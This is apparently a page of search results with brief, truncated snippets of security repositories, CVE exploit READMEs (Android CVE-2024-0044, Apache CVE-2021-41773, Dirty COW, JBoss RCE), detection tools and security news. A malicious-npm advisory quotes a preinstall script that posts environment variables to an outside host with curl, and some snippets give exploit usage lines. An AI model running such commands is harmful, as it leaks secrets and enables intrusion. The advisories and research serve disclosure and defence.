4306 matches found
cve_2024_0044
CVE 2024 0044 CVE-2024-0044, identificada en la función createSessionInternal del archivo PackageInstallerService.java, es una vulnerabilidad de alta gravedad que afecta a Android versiones 12 y 13. Esta vulnerabilidad permite a un atacante realizar un ataque "run-as any app", lo que conduce a un...
latch-plugin-openVPN-AS
latch-plugin-openVPN-AS...
CVE-2024-0044-EXP
CVE-2024-0044-EXP Exploit para CVE-2024-0044: elevación de privilegios en Android para descargar archivos sandbox de cualquier aplicación objetivo. Uso ./CVE-2024-0044.sh Parámetros Ruta de cualquier archivo APK local Nombre del paquete de la aplicación objetivo Ejemplo ./CVE-2024-0044.sh...
CVE-2024-0044-EXP
CVE-2024-0044-EXP Explotación de CVE-2024-0044 para realizar copias de seguridad de datos en Android 12 y 13 anteriores a la actualización de seguridad de marzo de 2024. Uso ./CVE-2024-0044-EXP.sh Ejemplo ./CVE-2024-0044-EXP.sh com.tencent.mm Explicación Descubrimiento de la vulnerabilidad...
cve-2021-41773-docker-lab
Laboratorio CVE-2021-41773 Laboratorio en contenedor para jugar/aprender con CVE-2021-41773 Divulgación de archivos: $ docker build -t apache-default defaultconf $ docker run -dit --name apache-app -p 81:80 apache-default PoC curl -s --path-as-is...
CVE-2016-5195
CVE-2016-5195 CVE-2016-5195 dirty cow/dirtycow/dirtyc0w prueba de concepto para Android Este repositorio demuestra la vulnerabilidad en dispositivos Android vulnerables conectados mediante ADB. No desactiva SELinux ver https://github.com/timwr/CVE-2016-5195/issues/9 ni instala superusuario en el...
Jboss_JMXInvokerServlet_Deserialization_RCE
JbossJMXInvokerServletDeserializationRCE Uso de Burp Suite para explotar la vulnerabilidad de deserialización de Java 0x01 Montar la vulnerabilidad de deserialización de Jboss JMXInvokerServlet Entorno de prueba: Vulnerabilidad de deserialización de JBoss JMXInvokerServlet Principio de la...
CVE-2022-33679_Checker
Comprobador de CVE-2022-33679 Comprobador ligero que verifica si un conjunto de credenciales de Active Directory está expuesto a CVE-2022-33679 ataque AS-REP de Kerberos sin pre-autenticación. El código está derivado de Bdenneu/CVE-2022-33679 y solo conserva la ruta de detección—nunca intenta...
deception-as-detection
Deception-as-Detection Deception based detection techniques mapped to the MITRE’s Adversarial Tactics, Techniques, and Common Knowledge ATT&CK™: Windows Technique Matrix Linux Technique Matrix Mac Technique Matrix 📔 Deception Stories A sample deception story is created as a reference. More...
burpsuite-copy-as-xmlhttprequest
Extensión Copy as XMLHttpRequest para BurpSuite La extensión añade un menú contextual a BurpSuite que permite copiar múltiples solicitudes como XmlHttpRequest de Javascript, lo que simplifica el desarrollo de PoC al explotar XSS. Instalación descarga el último JAR desde releases o constrúyelo...
FinRED-paper
FinRED: An Expert-Guided Benchmark Generation and Evaluation Framework for Financial LLM Red-Teaming IEEE ICDM 2026 A red-team benchmark generation pipeline for safety evaluation in the financial domain. Supplementary Documentation Detailed materials referenced in the paper:...
bbrecon
This project is no longer maintained and I took the crawling infrastructure offline. The audience was not big enough to justify maintaining it. Bug Bounty Recon bbrecon is a free Recon-as-a-Service for bug bounty hunters and security researchers. The API aims to provide a continuously up-to-date...
android_autorooter
Android Autorooter This is just a mental note more than anything to further explore the posibilities of the work done here: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html...
cve-2024-0044
CVE-2024-0044 CVE-2024-0044 permite realizar un ataque "run-as", que resulta en una escalada local de privilegios. Esto permite a un atacante acceder a archivos privados almacenados localmente por cualquier aplicación en el dispositivo móvil, comprometiendo las garantías de seguridad proporcionad...
MAL-2026-17653 Malicious code in abbishal-poc-as-dependency (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...
Malicious code in abbishal-poc-as-dependency (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...
Attackers Hijack .gh, .sl, and .as Registries to Obtain Certificates for Google Domains
Attackers compromised three country-code top-level domains ccTLDs and obtained unauthorized HTTPS certificates for several Google domains, Google said on October 6. Google's own systems were not breached, but any domain ending in .gh Ghana, .sl Sierra Leone or .as American Samoa was put at risk...
AI-powered phishkit arms criminals with account-hijacking tools in 10 minutes
In August, the Malwarebytes research team reported on a new malicious turnkey kit that makes it possible for almost anyone to launch a sophisticated online scam. The kit was not simply a fake website. It bundled the command center, victim tracking, and administrative tools into a ready-to-use...
cve-2017-12149-playground
Muchas industrias críticas banca, atención médica y manufactura dependen de middleware heredado que fue construido para ejecutarse específicamente en JBoss 5 o 6. Debido a que estas aplicaciones suelen ser demasiado frágiles para migrar a versiones modernas de WildFly el sucesor de JBoss, las...
